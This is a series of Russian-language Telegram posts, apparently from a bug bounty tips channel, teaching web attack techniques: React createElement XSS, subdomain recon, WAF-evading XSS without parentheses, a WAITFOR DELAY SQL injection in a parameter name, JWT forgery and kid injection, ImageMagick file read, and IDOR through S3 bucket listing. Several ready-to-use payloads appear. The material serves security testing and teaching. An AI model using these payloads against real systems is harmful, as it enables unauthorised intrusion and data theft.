Standoff Bug Bounty Tips – Telegram
💨 XSS через React createElement

Функция createElement() используется для создания React-элементов. Она принимает три параметра:

const element = createElement(type, props, ...children)


1⃣ type: может быть либо строкой с именем тега (т.е. div становится <div></div>), либо классом компонента, который будет вызван для построения элемента.

2⃣ props: может быть либо объектом, либо null. Пары ключ/значение в объекте будут присвоены создаваемому элементу как атрибуты, если type — строка с именем тега, или как свойства, если type — это класс компонента.

3⃣ ...children: дочерний узел (узлы) создаваемого элемента.

Если ты можешь передать ввод из источника в sink createElement() через один или несколько из этих параметров, он может влиять на генерацию HTML и достичь DOM XSS/CSS injection (в зависимости от версии).

Предполагая,что ты контролируешь десериализованный JSON или сериализованный HTML, которые передаются в createElement(), то параметры, которые ты можешь задать, определяют, чего ты можешь достичь ⬆️

Ресурсы:

Подробнее про эксплуатацию Script Injection Flaws в приложениях ReactJS

Статья Nick Bloor про эскалацию createElement-XSS до RCE в Electron-приложениях через CVE-2023-2033
Please open Telegram to view this post
VIEW IN TELEGRAM
6
🐞 Фикс проблемы с TLS в Burp Suite

По умолчанию JDK в Burp ограничивает размер TLS-рукопожатия до 32KB (параметр jdk.tls.maxHandshakeMessageSize). Это ломает перехват трафика у приложений с большими TLS Handshake сообщениями (обычно из-за длинной цепочки сертификатов).

💡 Для решения проблемы просто добавь параметр
-Djdk.tls.maxHandshakeMessageSize=65536


в файл .vmoptions Burp. Если файла нет — создай вручную и укажи путь через настройки запуска Burp.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥9👍2
💨 Ускоряем поиск отраженных параметров в ответах веб-сервера

Tom Hudson славится своими тулзами, которые выполняют ровно одну фичу, но делают это максимально эффективно. kxss — одна из таких 🔥

Тулза помогает быстро выявлять отраженные параметры для поиска XSS, показывая, какие параметры в ответах сервера отражаются, и какие спецсимволы проходят фильтрацию.

💡 Общая идея

🟡 Принимать URL-адреса с параметрами через stdin (URL могут быть получены из waybackurls/сессии Burp/katana/URLFinder)

🟡 Отправлять запросы к этим URL-адресам и проверять тело ответа на наличие отраженных параметров (здесь будет много фолсов)

🟡 Для всех отраженных параметров повторно отправлять запросы с добавлением случайного буквенно-цифрового значения к параметру

🟡 Добавление происходит только к одному параметру за раз — это делается для того, чтобы не поломать запрос, если требуется другой параметр
Please open Telegram to view this post
VIEW IN TELEGRAM
7
Гайд по разведке внешнего периметра: от поиска IP-адресов до брутфорса поддоменов

В пентесте/багбаунти часто нет полного скоупа или дают wildcard (*.example.com). Тогда приходится искать самому — вот рабочий воркфлоу.


1️⃣ Поиск IP-адресов

Если у организации есть своя автономная система (AS):

🖤 WHOIS → берём origin / ASN по основному домену
🖤 Получаем подсети по ASN:

asnmap -asn AS51115 -silent 


2️⃣ Горизонтальный поиск доменов

🖤 Reverse DNS (PTR) по диапазонам:

echo "178.248.233.0/24" | dnsx -ptr -resp -o reverse_dns.txt


🖤 TLS / сертификаты (CN / SAN) — собираем домены из сертификатов на стандартных/нестандартных портах:

echo "178.248.233.0/24" | tlsx -p 443,3443,8443,9443,10443 -cn -san -o tlsx_result.txt


🖤 Reverse WHOIS — ищем домены, зарегистрированные на ту же организацию:

revwhoix -k "Positive Technologies, CJSC"


3️⃣ Вертикальный поиск поддоменов

🖤 Certificate Transparency / агрегаторы: crt.sh, subfinder, SecurityTrails, Chaos, IntelX и т.д.

subfinder -d standoff365.com -silent


🖤 Брутфорс поддоменов:

puredns bruteforce wordlist.txt standoff365.com -w subdomains_standoff365.com.txt


🖤 Генерация мутаций / перестановок из уже найденных поддоменов:

cat subdomains_standoff365.com.txt | alterx | dnsx -o alterx_resolved_subdomains_standoff365.com.txt


Создание словаря из найденных поддоменов часто приносит больше результатов, чем «слепой» общедоступный wordlist.

4⃣ Формирование итогового списка + фильтрация

🖤 Склеиваем результаты всех источников
🖤 Фильтруем: удаляем wildcard`ы, сторонние хосты, CDN-овский «шум»

P. S. Чем шире поверхность атаки, тем больше шансов обнаружить неожиданные сервисы, забытые поддомены и «тёмные углы» инфраструктуры.
Please open Telegram to view this post
VIEW IN TELEGRAM
15👍3
🤔 Эксплуатация XSS без скобок и точек с запятой

Главная цель — обход WAF, который блокирует типичные паттерны XSS.

Как это работает ⤵️

🔴 С помощью запятых можно объединить несколько выражений и вернуть последнее из них
🔴 Замена onerror на eval позволяет выполнить сообщение об ошибке как код
🔴 Вызванные ошибки станут частью сообщения об ошибке
🔴 Если тебе удалось преобразовать сообщение об ошибке в корректный код, значит, ты справился

➡️ Tagged Template Strings

Базовый прием — использование функции перед шаблонной строкой:

alert`test`


Более продвинутый вариант — создание функции из строки:

Function`alert\u00281\u0029` ``


Здесь скобки заменены на unicode-представление (\u0028 и \u0029).

Динамическое выполнение кода через hash:

Function`_${location.hash.slice`1`}` ``


➡️ Метод onerror + throw (Chrome)

Ключевая идея: подмена onerror на eval и создание валидного JS-кода из сообщения об ошибке:

onerror = eval
throw '=alert\x281\u0029'


Сообщение об ошибке в Chrome: Uncaught =alert(1), что является валидным кодом (Uncaught становится переменной).

Без точки с запятой (используя блок):

{onerror=alert}throw 1


Или через запятую:

throw onerror=alert,1


➡️ Метод для Firefox

В Firefox формат ошибок другой, поэтому используются объекты Error:

throw onerror=eval,x=new Error,x.message='alert\x281\x29',x


➡️ Продвинутые техники

Пейлоад через regexp и конкатенацию:

throw/a/,Uncaught=1,g=alert,a=URL+0,onerror=eval,/1/g+a[12]+[1337,3331,117]+a[13]


Здесь:

🔴 a[12] и a[13] извлекают ( и ) из строки функции URL
🔴 /1/g — regexp, который в строке становится "/1/g"
🔴 Итоговое сообщение: Uncaught /1/g(1337,3331,117) — валидный код

Манипуляция с TypeError.prototype.name:

TypeError.prototype.name ='=/',0[onerror=eval]['/-alert(1)//']


Изменяется имя TypeError, чтобы сообщение об ошибке начиналось с =/, формируя regexp, который комбинируется с -alert(1).

💡 Пост вдохновлен несколькими исследованиями по теме:

✳️ Explaining XSS without parentheses and semi-colons
✳️ XSS technique without parentheses
✳️ XSS without parentheses and semi-colons
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥113
Поиск багов, связанных с различиями в интерпретации HTTP-запросов разными серверами и прокси 😵‍💫

Любишь исследовать и искать коллизии при обработке HTTP-запросов? Тогда HTTP Garden — то, что тебе нужно!

Тулза сравнивает, как разные HTTP-серверы и прокси интерпретируют одинаковые запросы. Это особенно полезно для обнаружения HTTP Request Smuggling и других багов ⤵️

1️⃣ Создай и запусти несколько серверов и прокси-серверов:

./garden.sh start --build gunicorn hyper nginx haproxy


2️⃣ Запусти repl:

./garden.sh repl


3️⃣ Отправь тестовый запрос через HAProxy к серверам Gunicorn, Hyper и Nginx и проанализируй, совпадают ли их интерпретации:

garden> payload 'GET / HTTP/1.1\r\nHOST: a\r\n\r\n' | transduce haproxy | fanout | grid
...


Под капотом больше 35 известных веб- и 10 прокси-серверов + фичи для поиска артефактов в разных комбинациях серверов.
Please open Telegram to view this post
VIEW IN TELEGRAM
9🔥2🤔1
Как эффективно находить связанные данные в API ⁉️

Когда API возвращает значение, одна запись (например, заказ пользователя) может быть связана с другими записями. Ты можешь обнаружить эти связанные данные с использованием существующих эндпоинтов.

Ищи всё, что заканчивается на _id (user_id, order_id, product_id). Эти элементы являются внешними ключами, связанными с базой данных.

💡 Автоматизируй процесс с использованием правил поиска и замены в Burp:

В Proxy > Options > Match and Replace задай в поле Match шаблон, который захватывает слово перед _id (например, user из user_id).

Выбери тип запроса: Request First Line (для путей, например /user_id/123) или Request Param Name (для параметров, например ?user_id=123).

Настрой замену для создания множественного числа: в поле Replace добавь 's' к захваченному слову (например, user_id превратится в users).
Please open Telegram to view this post
VIEW IN TELEGRAM
👍3
Syntax Confusion: эксплуатация в дикой природе 🚨

Синтаксическая путаница возникает, когда два и более компонентов в системе по-разному интерпретируют один и тот же пользовательский ввод из-за неоднозначных или противоречивых правил синтаксиса.

Современные веб-приложения часто имеют цепочку парсеров: браузер нормализует ввод, CDN может его переписать, прокси пересылает дальше, фреймворк приложения парсит, а вспомогательные библиотеки интерпретируют заново.

Если на двух этапах ввод семантически «означает» разное, валидация, применённая на одном этапе, может перестать действовать на другом — и тогда от «санитизированного» ввода может остаться путь к эксплуатируемому поведению.

☝️ В языке программирования C определенные последовательности символов обрабатываются препроцессором и/или компилятором как один символ (digraphs и trigraphs). Python и Perl поддерживают экранирование Unicode-символов по именам символов.

Content-Disposition

Параметр filename заголовка Content-Disposition предлагает имена файлов для загружаемых или скачиваемых файлов:

HTTP/1.1 200 OK
Content-Type: application/pdf
Content-Disposition: attachment; filename="invoice.pdf"


POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="myfile.txt"
Content-Type: text/plain


Альтернативный синтаксис с * позволяет указать кодировку и использовать URL-кодирование:

Content-Disposition: form-data; name="file"; filename*=UTF8''myfile%0a.txt


Если система поддерживает filename*, ты можешь ввести управляющие символы или обойти ограничения на имена файлов — это открывает дорогу к перезаписи файлов и другим кейсам.

file URI и обход фильтров

Схема file URI обычно указывает на локальные файлы (file:///path/to/file), но также допускает указание хоста: file://<host>/<path>. Используя схему URI файла с указанием хоста, можно обойти фильтры или получить DNS-запросы для отслеживания рабочего процесса в целевом приложении.

🔗 The Minefield Between Syntaxes: Exploiting Syntax Confusions in the Wild
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
11
Как эффективно находить Client/Server Side Template Injection 🎆

1️⃣ Разведка — сначала технологии

Прогоняй приложение через Wappalyzer/builtwith и смотри, какие рендереры/фреймворки используются в разных частях приложения. Чем больше «технологических слоёв» — тем выше шанс найти багу.

2️⃣ Ищи неочевидные части приложения

CSTI/SSTI часто прячутся в экзотичных вьюхах: часть интерфейса может рендериться иначе и допускать интерпретацию шаблонов, которая «обычным» путём не видна. Если инъекция работает в одной части — проверь остальные.

3️⃣ После инъекции думай про импакт

🟠CSTI → рассматривай способы получить session cookies, localStorage или другие данные для ATO

🟠SSTI → от RCE до вытаскивания секретов — думай масштабно

💡 Полезные инструменты и ресурсы

🟠SSTIMap, TInjA, tplmap
🟠Template Injection Research
🟠Evading defences using VueJS noscript gadgets
🟠The Template Injection Playground
Please open Telegram to view this post
VIEW IN TELEGRAM
4🔥2
Мы всегда пытаемся менять значения параметров в надежде зацепиться за нестандартное поведение, но что если экспериментировать с изменением имен параметров ¯\_(ツ)_/¯?

💨 Пример пэйлоада:

someparam[id) VALUES (NULL); WAITFOR DELAY '0:0:5';--]=test
Please open Telegram to view this post
VIEW IN TELEGRAM
👍8😱1
Эксплуатация JSON web tokens: от теории к практике 🚀

По своей структуре JWT состоит из трёх частей — заголовка, пэйлоада и подписи:

➡️Заголовок (header) передает информацию о типе токена и используемом криптографическом алгоритме.

➡️Пэйлоад (payload) передает содержащиеся в токене так называемые утверждения (claims), которые делятся на три типа:

▪️Стандартные — данные о токене (предназначение, издатель, срок действия).
▪️Пользовательские — данные пользователя токена (имя, электронный адрес, номер телефона).
▪️Нестандартные — специфические поля, необходимые для конкретных приложений.

➡️Подпись (signature) гарантирует, что ни заголовок, ни пэйлоад не были изменены.

Большинство уязвимостей JWT возникают из-за неправильной настройки и некорректной проверки входных данных в процессе реализации. Разберем подробнее:

1️⃣ alg: none (отсутствие подписи) — если сервер принимает алгоритм none, можно отправить unsigned-токен с изменёнными claims и пройти аутентификацию.

2️⃣ Отсутствие проверки подписи — пропуск валидации подписи позволяет любому модифицированному токену считаться валидным.

3⃣ Algorithm confusion (путаница алгоритмов) — смена alg (например, с RS256 на HS256) даёт возможность использовать публичный ключ как HMAC-секрет и подделать подпись.

4⃣ Подмена JWK — динамическая загрузка публичных ключей (jwks.json) может быть использована для подмены ключа и принятия злонамеренно подписанных токенов.

5⃣ Инъекция через kid — небезопасная обработка поля kid может привести к инъекции пути/URL или выбору неподходящего ключа для проверки.

{
"alg": "RS256",
"kid": "example-key' OR UNION SELECT 'users'; --"
}


6⃣ Брутфорс слабых секретов — при использовании HMAC слабые или общие секреты можно подобрать перебором.

$ john --wordlist=/path/to/wordlist.txt jwt.txt


7⃣ Захардкоженные ключи — секреты, обнаруженные в исходниках, позволяют создать валидные токены.

Полезные инструменты и ресурсы:

🔗Introduction to JSON Web Tokens
🔗Exploiting JWT vulnerabilities: A complete guide
🔗 The JSON Web Token Toolkit v2
🔗BurpSuite JWT Editor
🔗PortSwigger Web Security Academy: JWT attacks
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
👍122👀2
Ошибки бизнес-логики: манипуляции с последовательностью действий 🛁

Многие приложения рассчитывают на ожидаемую последовательность шагов — например, многошаговый процесс оформления заказа или подтверждение операций.

Фронт обычно отдает страницы в определённом порядке, но при перехвате трафика с помощью прокси ты можешь изменять порядок запросов, отправлять их в неожиданных комбинациях и пытаться ввести сервер в состояние, которое он не ожидает.

Такие кейсы часто не покрыты тестами — в лучшем случае это приведёт к странному поведению, в худшем — к уязвимости. Вот несколько способов нарушить порядок:

1️⃣ Пропусти шаги вперед: попробуй обойти проверки и перейти в «будущее» состояние — например, совершив последовательность один раз, на следующую попытку обращаться только к шагам, которые ожидались на первом проходе.

2️⃣ Вернись назад: после выполнения шага попробуй запросить уже завершённый шаг — это может запутать сервер и изменить ответ.

3️⃣ Повтори действия: отправка одного и того же запроса несколько раз может иметь эффект, похожий на возврат назад и привести к неконсистентности.
Please open Telegram to view this post
VIEW IN TELEGRAM
8🔥2
При тестировании GraphQL API начинай с graphw00f — это быстрый способ понять, что именно скрывается под капотом 💡

Тулза отправляет серию запросов, на которые разные GraphQL-движки отвечают по-своему: где-то отличаются ошибки, где-то формат схемы, где-то особенности обработки мутаций и подписок.

🎶 Эти микросигналы позволяют точно определить технологию и версию сервера без доступа к коду.

Результат работы — матрица угроз, в которой сразу видны потенциальные векторы атак: от обхода схемы и нестандартных introspection-паттернов до SSRF через directives и уязвимых обработчиков мутаций 🔥
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥6
Если приложение использует magick convert для изменения загруженного изображения, смело пробуй докручивать до LFI с помощью "text:" ⚡️

ImageMagick будет парсить его и пытаться получить ресурс, указанный в атрибуте href. А содержимое файла будет рендериться в выходном изображении ⤵️

💡 При написании поста вдохновились этим ресерчем
Please open Telegram to view this post
VIEW IN TELEGRAM
14🔥2
От обхода фильтрации email-адресов до SQLi 😓

Если система фильтрует email-адреса и запрещает спецсимволы, попробуй обойти проверку через кавычки перед @. Формат "username"@domain.com валиден по RFC 3696, и большинство валидаторов об этом «забывают» 🤕

Дальше начинается самое интересное — внутри кавычек можно размещать пэйлоад:

“<noscript src=//xsshere?”@email.com
“1-’or’1'=’1”@email.com
...


Твоя задача — аккуратно сломать валидатор, который определяет корректность адреса по RFC и пропустить вредоносный ввод в бэкенд. Если разработчики привязали фильтрацию email к SQL-запросу без параметров — дорога к SQLi открыта 💨
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥16
От простой IDOR до критической утечки PII 😓

Когда доступ к файлам «защищён» сложными идентификаторами, это почти всегда означает одно: уязвимость не исправили, а спрятали под ковёр. Кейс из райтапа хорошо показывает, как такие баги выходят наружу ⤵️

Если ты нашёл классическую IDOR — с одного аккаунта можешь получить доступ к файлам другого —

GET /api/v1/files/view/{file_id} HTTP/2

Host: api.example.com
Authorization: Bearer <ACCOUNT_B_JWT>


но file_id имеет сложный формат:

[UserID]_[Filename]_[Timestamp]_[UniqueID]


→ IDOR есть, но как получить другие идентификаторы?

1️⃣ Найди эндпоинты, куда клиент передаёт имя файла:

Подходящие параметры:

* document_key
* file_key
* object_key
* blob_name

Такие точки входа обычно встречаются в загрузке, обновлении статуса и регистрации документов.

2️⃣ Попробуй отправить пустой ключ

Частая ошибка бекенда — передавать значение в storage/SDK как есть.

document_key: ""
document_key: " "
document_key: "%20"
document_key: null


S3-совместимые хранилища интерпретируют пустой ключ как ListBucket и возвращают список файлов.

3️⃣ Если получил список — используй пагинацию

S3 и аналоги отдают:

* первые 1000 файлов
* флаг IsTruncated: true
* последний ключ, который можно использовать как ?marker=...

Так можно пройти весь бакет и собрать имена файлов 💭

4️⃣ Подставь полученный ключ в «легитимный» эндпоинт

Если есть эндпоинт, который:

* принимает document_key
* возвращает pre-signed URL или прямой доступ

— подставь туда любой найденный ключ.

Если сервер не проверяет владельца файла, он подпишет URL к чужому объекту. Это и есть полноценный IDOR 💡
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
👍52🤔2🤨2